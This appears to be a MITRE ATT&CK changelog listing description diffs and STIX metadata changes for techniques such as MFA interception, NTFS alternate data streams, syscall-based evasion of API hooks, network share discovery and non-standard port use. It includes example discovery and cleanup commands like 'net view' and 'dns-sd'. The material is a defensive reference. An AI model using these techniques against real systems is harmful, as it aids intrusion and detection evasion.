individual accounts or for all accounts tied to a larger group, such as all domain accounts in a victim's network environment.(Citation: Russians Exploit Default MFA Protocol - CISA March 2022) |
Current version: 2.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may target multi-factor authentication (MFA) mec | t | 1 | Adversaries may target multi-factor authentication (MFA) mec |
| > | hanisms, (i.e., smart cards, token generators, etc.) to gain | > | hanisms, (i.e., smart cards, token generators, etc.) to gain | ||
| > | access to credentials that can be used to access systems, s | > | access to credentials that can be used to access systems, s | ||
| > | ervices, and network resources. Use of MFA is recommended an | > | ervices, and network resources. Use of MFA is recommended an | ||
| > | d provides a higher level of security than usernames and pas | > | d provides a higher level of security than usernames and pas | ||
| > | swords alone, but organizations should be aware of technique | > | swords alone, but organizations should be aware of technique | ||
| > | s that could be used to intercept and bypass these security | > | s that could be used to intercept and bypass these security | ||
| > | mechanisms. If a smart card is used for multi-factor authe | > | mechanisms. If a smart card is used for multi-factor authe | ||
| > | ntication, then a keylogger will need to be used to obtain t | > | ntication, then a keylogger will need to be used to obtain t | ||
| > | he password associated with a smart card during normal use. | > | he password associated with a smart card during normal use. | ||
| > | With both an inserted card and access to the smart card pass | > | With both an inserted card and access to the smart card pass | ||
| > | word, an adversary can connect to a network resource using t | > | word, an adversary can connect to a network resource using t | ||
| > | he infected system to proxy the authentication with the inse | > | he infected system to proxy the authentication with the inse | ||
| > | rted hardware token. (Citation: Mandiant M Trends 2011) Adv | > | rted hardware token.(Citation: Mandiant M Trends 2011) Adve | ||
| > | ersaries may also employ a keylogger to similarly target oth | > | rsaries may also employ a keylogger to similarly target othe | ||
| > | er hardware tokens, such as RSA SecurID. Capturing token inp | > | r hardware tokens, such as RSA SecurID. Capturing token inpu | ||
| > | ut (including a user's personal identification code) may pro | > | t (including a user's personal identification code) may prov | ||
| > | vide temporary access (i.e. replay the one-time passcode unt | > | ide temporary access (i.e. replay the one-time passcode unti | ||
| > | il the next value rollover) as well as possibly enabling adv | > | l the next value rollover) as well as possibly enabling adve | ||
| > | ersaries to reliably predict future authentication values (g | > | rsaries to reliably predict future authentication values (gi | ||
| > | iven access to both the algorithm and any seed values used t | > | ven access to both the algorithm and any seed values used to | ||
| > | o generate appended temporary codes). (Citation: GCN RSA Jun | > | generate appended temporary codes).(Citation: GCN RSA June | ||
| > | e 2011) Other methods of MFA may be intercepted and used by | > | 2011) Other methods of MFA may be intercepted and used by a | ||
| > | an adversary to authenticate. It is common for one-time cod | > | n adversary to authenticate. It is common for one-time codes | ||
| > | es to be sent via out-of-band communications (email, SMS). I | > | to be sent via out-of-band communications (email, SMS). If | ||
| > | f the device and/or service is not secured, then it may be v | > | the device and/or service is not secured, then it may be vul | ||
| > | ulnerable to interception. Service providers can also be tar | > | nerable to interception. Service providers can also be targe | ||
| > | geted: for example, an adversary may compromise an SMS messa | > | ted: for example, an adversary may compromise an SMS messagi | ||
| > | ging service in order to steal MFA codes sent to users’ phon | > | ng service in order to steal MFA codes sent to users’ phones | ||
| > | es.(Citation: Okta Scatter Swine 2022) | > | .(Citation: Okta Scatter Swine 2022) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.722000+00:00 | 2026-11-04 00:28:25.581000+00:00 |
| description | Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token. (Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes). (Citation: GCN RSA June 2011) Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022) | Adversaries may target multi-factor authentication (MFA) mechanisms, (i.e., smart cards, token generators, etc.) to gain access to credentials that can be used to access systems, services, and network resources. Use of MFA is recommended and provides a higher level of security than usernames and passwords alone, but organizations should be aware of techniques that could be used to intercept and bypass these security mechanisms. If a smart card is used for multi-factor authentication, then a keylogger will need to be used to obtain the password associated with a smart card during normal use. With both an inserted card and access to the smart card password, an adversary can connect to a network resource using the infected system to proxy the authentication with the inserted hardware token.(Citation: Mandiant M Trends 2011) Adversaries may also employ a keylogger to similarly target other hardware tokens, such as RSA SecurID. Capturing token input (including a user's personal identification code) may provide temporary access (i.e. replay the one-time passcode until the next value rollover) as well as possibly enabling adversaries to reliably predict future authentication values (given access to both the algorithm and any seed values used to generate appended temporary codes).(Citation: GCN RSA June 2011) Other methods of MFA may be intercepted and used by an adversary to authenticate. It is common for one-time codes to be sent via out-of-band communications (email, SMS). If the device and/or service is not secured, then it may be vulnerable to interception. Service providers can also be targeted: for example, an adversary may compromise an SMS messaging service in order to steal MFA codes sent to users’ phones.(Citation: Okta Scatter Swine 2022) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may use NTFS file attributes to hide their malic | t | 1 | Adversaries may use NTFS file attributes to hide their malic |
| > | ious data in order to evade detection. Every New Technology | > | ious data in order to evade detection. Every New Technology | ||
| > | File System (NTFS) formatted partition contains a Master Fil | > | File System (NTFS) formatted partition contains a Master Fil | ||
| > | e Table (MFT) that maintains a record for every file/directo | > | e Table (MFT) that maintains a record for every file/directo | ||
| > | ry on the partition. (Citation: SpectorOps Host-Based Jul 20 | > | ry on the partition.(Citation: SpectorOps Host-Based Jul 201 | ||
| > | 17) Within MFT entries are file attributes, (Citation: Micro | > | 7) Within MFT entries are file attributes,(Citation: Microso | ||
| > | soft NTFS File Attributes Aug 2010) such as Extended Attribu | > | ft NTFS File Attributes Aug 2010) such as Extended Attribute | ||
| > | tes (EA) and Data [known as Alternate Data Streams (ADSs) wh | > | s (EA) and Data [known as Alternate Data Streams (ADSs) when | ||
| > | en more than one Data attribute is present], that can be use | > | more than one Data attribute is present], that can be used | ||
| > | d to store arbitrary data (and even complete files). (Citati | > | to store arbitrary data (and even complete files).(Citation: | ||
| > | on: SpectorOps Host-Based Jul 2017) (Citation: Microsoft Fil | > | SpectorOps Host-Based Jul 2017)(Citation: Microsoft File St | ||
| > | e Streams) (Citation: MalwareBytes ADS July 2015) (Citation: | > | reams)(Citation: MalwareBytes ADS July 2015)(Citation: Micro | ||
| > | Microsoft ADS Mar 2014) Adversaries may store malicious da | > | soft ADS Mar 2014) Adversaries may store malicious data or | ||
| > | ta or binaries in file attribute metadata instead of directl | > | binaries in file attribute metadata instead of directly in f | ||
| > | y in files. This may be done to evade some defenses, such as | > | iles. This may be done to evade some defenses, such as stati | ||
| > | static indicator scanning tools and anti-virus. (Citation: | > | c indicator scanning tools and anti-virus.(Citation: Journey | ||
| > | Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes | > | into IR ZeroAccess NTFS EA)(Citation: MalwareBytes ADS July | ||
| > | ADS July 2015) | > | 2015) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.724000+00:00 | 2026-11-04 01:02:57.212000+00:00 |
| description | Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition. (Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes, (Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files). (Citation: SpectorOps Host-Based Jul 2017) (Citation: Microsoft File Streams) (Citation: MalwareBytes ADS July 2015) (Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus. (Citation: Journey into IR ZeroAccess NTFS EA) (Citation: MalwareBytes ADS July 2015) | Adversaries may use NTFS file attributes to hide their malicious data in order to evade detection. Every New Technology File System (NTFS) formatted partition contains a Master File Table (MFT) that maintains a record for every file/directory on the partition.(Citation: SpectorOps Host-Based Jul 2017) Within MFT entries are file attributes,(Citation: Microsoft NTFS File Attributes Aug 2010) such as Extended Attributes (EA) and Data [known as Alternate Data Streams (ADSs) when more than one Data attribute is present], that can be used to store arbitrary data (and even complete files).(Citation: SpectorOps Host-Based Jul 2017)(Citation: Microsoft File Streams)(Citation: MalwareBytes ADS July 2015)(Citation: Microsoft ADS Mar 2014) Adversaries may store malicious data or binaries in file attribute metadata instead of directly in files. This may be done to evade some defenses, such as static indicator scanning tools and anti-virus.(Citation: Journey into IR ZeroAccess NTFS EA)(Citation: MalwareBytes ADS July 2015) |
Current version: 2.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may interact with the native OS application prog | t | 1 | Adversaries may interact with the native OS application prog |
| > | ramming interface (API) to execute behaviors. Native APIs pr | > | ramming interface (API) to execute behaviors. Native APIs pr | ||
| > | ovide a controlled means of calling low-level OS services wi | > | ovide a controlled means of calling low-level OS services wi | ||
| > | thin the kernel, such as those involving hardware/devices, m | > | thin the kernel, such as those involving hardware/devices, m | ||
| > | emory, and processes.(Citation: NT API Windows)(Citation: Li | > | emory, and processes.(Citation: NT API Windows)(Citation: Li | ||
| > | nux Kernel API) These native APIs are leveraged by the OS du | > | nux Kernel API) These native APIs are leveraged by the OS du | ||
| > | ring system boot (when other system components are not yet i | > | ring system boot (when other system components are not yet i | ||
| > | nitialized) as well as carrying out tasks and requests durin | > | nitialized) as well as carrying out tasks and requests durin | ||
| > | g routine operations. Adversaries may abuse these OS API fu | > | g routine operations. Adversaries may abuse these OS API fu | ||
| > | nctions as a means of executing behaviors. Similar to [Comma | > | nctions as a means of executing behaviors. Similar to [Comma | ||
| > | nd and Scripting Interpreter](https://attack.mitre.org/techn | > | nd and Scripting Interpreter](https://attack.mitre.org/techn | ||
| > | iques/T1059), the native API and its hierarchy of interfaces | > | iques/T1059), the native API and its hierarchy of interfaces | ||
| > | provide mechanisms to interact with and utilize various com | > | provide mechanisms to interact with and utilize various com | ||
| > | ponents of a victimized system. Native API functions (such | > | ponents of a victimized system. Native API functions (such | ||
| > | as <code>NtCreateProcess</code>) may be directed invoked via | > | as <code>NtCreateProcess</code>) may be directly invoked via | ||
| > | system calls / syscalls, but these features are also often | > | system calls / syscalls, but these features are also often | ||
| > | exposed to user-mode applications via interfaces and librari | > | exposed to user-mode applications via interfaces and librari | ||
| > | es.(Citation: OutFlank System Calls)(Citation: CyberBit Syst | > | es.(Citation: OutFlank System Calls)(Citation: CyberBit Syst | ||
| > | em Calls)(Citation: MDSec System Calls) For example, functio | > | em Calls)(Citation: MDSec System Calls) For example, functio | ||
| > | ns such as the Windows API <code>CreateProcess()</code> or G | > | ns such as the Windows API <code>CreateProcess()</code> or G | ||
| > | NU <code>fork()</code> will allow programs and scripts to st | > | NU <code>fork()</code> will allow programs and scripts to st | ||
| > | art other processes.(Citation: Microsoft CreateProcess)(Cita | > | art other processes.(Citation: Microsoft CreateProcess)(Cita | ||
| > | tion: GNU Fork) This may allow API callers to execute a bina | > | tion: GNU Fork) This may allow API callers to execute a bina | ||
| > | ry, run a CLI command, load modules, etc. as thousands of si | > | ry, run a CLI command, load modules, etc. as thousands of si | ||
| > | milar API functions exist for various system operations.(Cit | > | milar API functions exist for various system operations.(Cit | ||
| > | ation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Hi | > | ation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC) Hi | ||
| > | gher level software frameworks, such as Microsoft .NET and m | > | gher level software frameworks, such as Microsoft .NET and m | ||
| > | acOS Cocoa, are also available to interact with native APIs. | > | acOS Cocoa, are also available to interact with native APIs. | ||
| > | These frameworks typically provide language wrappers/abstra | > | These frameworks typically provide language wrappers/abstra | ||
| > | ctions to API functionalities and are designed for ease-of-u | > | ctions to API functionalities and are designed for ease-of-u | ||
| > | se/portability of code.(Citation: Microsoft NET)(Citation: A | > | se/portability of code.(Citation: Microsoft NET)(Citation: A | ||
| > | pple Core Services)(Citation: MACOS Cocoa)(Citation: macOS F | > | pple Core Services)(Citation: MACOS Cocoa)(Citation: macOS F | ||
| > | oundation) Adversaries may use assembly to directly or in-d | > | oundation) Adversaries may use assembly to directly or indi | ||
| > | irectly invoke syscalls in an attempt to subvert defensive s | > | rectly invoke syscalls in an attempt to subvert defensive se | ||
| > | ensors and detection signatures such as user mode API-hooks. | > | nsors and detection signatures such as user mode API-hooks.( | ||
| > | (Citation: Redops Syscalls) Adversaries may also attempt to | > | Citation: Redops Syscalls) Adversaries may also attempt to t | ||
| > | tamper with sensors and defensive tools associated with API | > | amper with sensors and defensive tools associated with API m | ||
| > | monitoring, such as unhooking monitored functions via [Disab | > | onitoring, such as unhooking monitored functions via [Disabl | ||
| > | le or Modify Tools](https://attack.mitre.org/techniques/T168 | > | e or Modify Tools](https://attack.mitre.org/techniques/T1685 | ||
| > | 5). | > | ). | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-11 19:38:58.040000+00:00 | 2026-11-03 21:33:34.331000+00:00 |
| description | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.
Native API functions (such as NtCreateProcess) may be directed invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may use assembly to directly or in-directly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685). | Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.(Citation: NT API Windows)(Citation: Linux Kernel API) These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Adversaries may abuse these OS API functions as a means of executing behaviors. Similar to [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059), the native API and its hierarchy of interfaces provide mechanisms to interact with and utilize various components of a victimized system.
Native API functions (such as NtCreateProcess) may be directly invoked via system calls / syscalls, but these features are also often exposed to user-mode applications via interfaces and libraries.(Citation: OutFlank System Calls)(Citation: CyberBit System Calls)(Citation: MDSec System Calls) For example, functions such as the Windows API CreateProcess() or GNU fork() will allow programs and scripts to start other processes.(Citation: Microsoft CreateProcess)(Citation: GNU Fork) This may allow API callers to execute a binary, run a CLI command, load modules, etc. as thousands of similar API functions exist for various system operations.(Citation: Microsoft Win32)(Citation: LIBC)(Citation: GLIBC)
Higher level software frameworks, such as Microsoft .NET and macOS Cocoa, are also available to interact with native APIs. These frameworks typically provide language wrappers/abstractions to API functionalities and are designed for ease-of-use/portability of code.(Citation: Microsoft NET)(Citation: Apple Core Services)(Citation: MACOS Cocoa)(Citation: macOS Foundation)
Adversaries may use assembly to directly or indirectly invoke syscalls in an attempt to subvert defensive sensors and detection signatures such as user mode API-hooks.(Citation: Redops Syscalls) Adversaries may also attempt to tamper with sensors and defensive tools associated with API monitoring, such as unhooking monitored functions via [Disable or Modify Tools](https://attack.mitre.org/techniques/T1685). |
Current version: 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to get a listing of services running | t | 1 | Adversaries may attempt to get a listing of services running |
| > | on remote hosts and local network infrastructure devices, i | > | on remote hosts and local network infrastructure devices, i | ||
| > | ncluding those that may be vulnerable to remote software exp | > | ncluding those that may be vulnerable to remote software exp | ||
| > | loitation. Common methods to acquire this information includ | > | loitation. Common methods to acquire this information includ | ||
| > | e port, vulnerability, and/or wordlist scans using tools tha | > | e port, vulnerability, and/or wordlist scans using tools tha | ||
| > | t are brought onto a system.(Citation: CISA AR21-126A FIVEHA | > | t are brought onto a system.(Citation: CISA AR21-126A FIVEHA | ||
| > | NDS May 2021) Within cloud environments, adversaries may | > | NDS May 2021) Within cloud environments, adversaries may | ||
| > | attempt to discover services running on other cloud hosts. | > | attempt to discover services running on other cloud hosts. | ||
| > | Additionally, if the cloud environment is connected to a on- | > | Additionally, if the cloud environment is connected to an on | ||
| > | premises environment, adversaries may be able to identify se | > | -premises environment, adversaries may be able to identify s | ||
| > | rvices running on non-cloud systems as well. Within macOS e | > | ervices running on non-cloud systems as well. Within macOS | ||
| > | nvironments, adversaries may use the native Bonjour applicat | > | environments, adversaries may use the native Bonjour applica | ||
| > | ion to discover services running on other macOS hosts within | > | tion to discover services running on other macOS hosts withi | ||
| > | a network. The Bonjour mDNSResponder daemon automatically r | > | n a network. The Bonjour mDNSResponder daemon automatically | ||
| > | egisters and advertises a host’s registered services on the | > | registers and advertises a host’s registered services on the | ||
| > | network. For example, adversaries can use a mDNS query (such | > | network. For example, adversaries can use a mDNS query (suc | ||
| > | as <code>dns-sd -B _ssh._tcp .</code>) to find other system | > | h as <code>dns-sd -B _ssh._tcp .</code>) to find other syste | ||
| > | s broadcasting the ssh service.(Citation: apple doco bonjour | > | ms broadcasting the ssh service.(Citation: apple doco bonjou | ||
| > | description)(Citation: macOS APT Activity Bradley) | > | r description)(Citation: macOS APT Activity Bradley) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.723000+00:00 | 2026-11-03 21:48:02.694000+00:00 |
| description | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to a on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley) | Adversaries may attempt to get a listing of services running on remote hosts and local network infrastructure devices, including those that may be vulnerable to remote software exploitation. Common methods to acquire this information include port, vulnerability, and/or wordlist scans using tools that are brought onto a system.(Citation: CISA AR21-126A FIVEHANDS May 2021)
Within cloud environments, adversaries may attempt to discover services running on other cloud hosts. Additionally, if the cloud environment is connected to an on-premises environment, adversaries may be able to identify services running on non-cloud systems as well.
Within macOS environments, adversaries may use the native Bonjour application to discover services running on other macOS hosts within a network. The Bonjour mDNSResponder daemon automatically registers and advertises a host’s registered services on the network. For example, adversaries can use a mDNS query (such as dns-sd -B _ssh._tcp .) to find other systems broadcasting the ssh service.(Citation: apple doco bonjour description)(Citation: macOS APT Activity Bradley) |
Current version: 2.0
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may remove share connections that are no longer | t | 1 | Adversaries may remove share connections that are no longer |
| > | useful in order to clean up traces of their operation. Windo | > | useful in order to clean up traces of their operation. Windo | ||
| > | ws shared drive and [SMB/Windows Admin Shares](https://attac | > | ws shared drive and [SMB/Windows Admin Shares](https://attac | ||
| > | k.mitre.org/techniques/T1021/002) connections can be removed | > | k.mitre.org/techniques/T1021/002) connections can be removed | ||
| > | when no longer needed. [Net](https://attack.mitre.org/softw | > | when no longer needed. [Net](https://attack.mitre.org/softw | ||
| > | are/S0039) is an example utility that can be used to remove | > | are/S0039) is an example utility that can be used to remove | ||
| > | network share connections with the <code>net use \\system\sh | > | network share connections with the <code>net use \\system\sh | ||
| > | are /delete</code> command. (Citation: Technet Net Use) | > | are /delete</code> command.(Citation: Technet Net Use) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-05-12 15:12:00.706000+00:00 | 2026-11-04 00:23:19.177000+00:00 |
| description | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use) | Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command.(Citation: Technet Net Use) |
Current version: 3.2
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may look for folders and drives shared on remote | t | 1 | Adversaries may look for folders and drives shared on remote |
| > | systems as a means of identifying sources of information to | > | systems as a means of identifying sources of information to | ||
| > | gather as a precursor for Collection and to identify potent | > | gather as a precursor for Collection and to identify potent | ||
| > | ial systems of interest for Lateral Movement. Networks often | > | ial systems of interest for Lateral Movement. Networks often | ||
| > | contain shared network drives and folders that enable users | > | contain shared network drives and folders that enable users | ||
| > | to access file directories on various systems across a netw | > | to access file directories on various systems across a netw | ||
| > | ork. File sharing over a Windows network occurs over the S | > | ork. File sharing over a Windows network occurs over the S | ||
| > | MB protocol. (Citation: Wikipedia Shared Resource) (Citation | > | MB protocol.(Citation: Wikipedia Shared Resource)(Citation: | ||
| > | : TechNet Shared Folder) [Net](https://attack.mitre.org/soft | > | TechNet Shared Folder) [Net](https://attack.mitre.org/softwa | ||
| > | ware/S0039) can be used to query a remote system for availab | > | re/S0039) can be used to query a remote system for available | ||
| > | le shared drives using the <code>net view \\\\remotesystem</ | > | shared drives using the <code>net view \\\\remotesystem</co | ||
| > | code> command. It can also be used to query shared drives on | > | de> command. It can also be used to query shared drives on t | ||
| > | the local system using <code>net share</code>. For macOS, t | > | he local system using <code>net share</code>. For macOS, the | ||
| > | he <code>sharing -l</code> command lists all shared points u | > | <code>sharing -l</code> command lists all shared points use | ||
| > | sed for smb services. | > | d for smb services. | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:37.475000+00:00 | 2026-11-04 00:30:50.851000+00:00 |
| description | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol. (Citation: Wikipedia Shared Resource) (Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services. | Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
File sharing over a Windows network occurs over the SMB protocol.(Citation: Wikipedia Shared Resource)(Citation: TechNet Shared Folder) [Net](https://attack.mitre.org/software/S0039) can be used to query a remote system for available shared drives using the net view \\\\remotesystem command. It can also be used to query shared drives on the local system using net share. For macOS, the sharing -l command lists all shared points used for smb services. |
| x_mitre_attack_spec_version | 3.2.0 | 3.3.0 |
Current version: 1.3
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may communicate using a protocol and port pairin | t | 1 | Adversaries may communicate using a protocol and port pairin |
| > | g that are typically not associated. For example, HTTPS over | > | g that are typically not associated (for example, HTTPS over | ||
| > | port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Ci | > | port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Ci | ||
| > | tation: Fortinet Agent Tesla April 2018) as opposed to the t | > | tation: Fortinet Agent Tesla April 2018) as opposed to the t | ||
| > | raditional port 443. Adversaries may make changes to the sta | > | raditional port 443). Adversaries may make changes to the st | ||
| > | ndard port used by a protocol to bypass filtering or muddle | > | andard port used by a protocol to bypass filtering or muddle | ||
| > | analysis/parsing of network data. Adversaries may also make | > | analysis/parsing of network data. Adversaries may also mak | ||
| > | changes to victim systems to abuse non-standard ports. For | > | e changes to victim systems to abuse non-standard ports. For | ||
| > | example, Registry keys and other configuration settings can | > | example, Registry keys and other configuration settings can | ||
| > | be used to modify protocol and port pairings.(Citation: chan | > | be used to modify protocol and port pairings.(Citation: cha | ||
| > | ge_rdp_port_conti) | > | nge_rdp_port_conti) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2026-09-03 19:46:48.006000+00:00 | 2026-11-03 20:07:36.359000+00:00 |
| description | Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti) | Adversaries may communicate using a protocol and port pairing that are typically not associated (for example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443). Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data. Adversaries may also make changes to victim systems to abuse non-standard ports. For example, Registry keys and other configuration settings can be used to modify protocol and port pairings.(Citation: change_rdp_port_conti) |
| STIX Field | Old value | New Value |
|---|---|---|
| external_references | {'source_name': 'University of Birmingham C2', 'description': 'Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved September 3, 2026.', 'url': 'https://arxiv.org/pdf/1408.1136'} |
Current version: 2.2
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:48:22.201000+00:00 | 2026-06-13 16:25:46.025000+00:00 |
| external_references[9]['url'] | http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ | https://web.archive.org/web/20150923020927/http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ |
Current version: 1.1
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may buy and/or steal capabilities that can be us | t | 1 | Adversaries may buy and/or steal capabilities that can be us |
| > | ed during targeting. Rather than developing their own capabi | > | ed during targeting. Rather than developing their own capabi | ||
| > | lities in-house, adversaries may purchase, freely download, | > | lities in-house, adversaries may purchase, freely download, | ||
| > | or steal them. Activities may include the acquisition of mal | > | or steal them. Activities may include the acquisition of mal | ||
| > | ware, software (including licenses), exploits, certificates, | > | ware, software (including licenses), exploits, certificates, | ||
| > | and information relating to vulnerabilities. Adversaries ma | > | and information relating to vulnerabilities. Adversaries ma | ||
| > | y obtain capabilities to support their operations throughout | > | y obtain capabilities to support their operations throughout | ||
| > | numerous phases of the adversary lifecycle. In addition to | > | numerous phases of the adversary lifecycle. In addition to | ||
| > | downloading free malware, software, and exploits from the i | > | downloading free malware, software, and exploits from the i | ||
| > | nternet, adversaries may purchase these capabilities from th | > | nternet, adversaries may purchase these capabilities from th | ||
| > | ird-party entities. Third-party entities can include technol | > | ird-party entities. Third-party entities can include technol | ||
| > | ogy companies that specialize in malware and exploits, crimi | > | ogy companies that specialize in malware and exploits, crimi | ||
| > | nal marketplaces, or from individuals.(Citation: NationsBuyi | > | nal marketplaces, or individuals.(Citation: NationsBuying)(C | ||
| > | ng)(Citation: PegasusCitizenLab) In addition to purchasing | > | itation: PegasusCitizenLab) In addition to purchasing capab | ||
| > | capabilities, adversaries may steal capabilities from third- | > | ilities, adversaries may steal capabilities from third-party | ||
| > | party entities (including other adversaries). This can inclu | > | entities (including other adversaries). This can include st | ||
| > | de stealing software licenses, malware, SSL/TLS and code-sig | > | ealing software licenses, malware, SSL/TLS and code-signing | ||
| > | ning certificates, or raiding closed databases of vulnerabil | > | certificates, or raiding closed databases of vulnerabilities | ||
| > | ities or exploits.(Citation: DiginotarCompromise) | > | or exploits.(Citation: DiginotarCompromise) | ||
| STIX Field | Old value | New Value |
|---|---|---|
| modified | 2025-10-24 17:49:24.545000+00:00 | 2026-11-04 03:28:51.511000+00:00 |
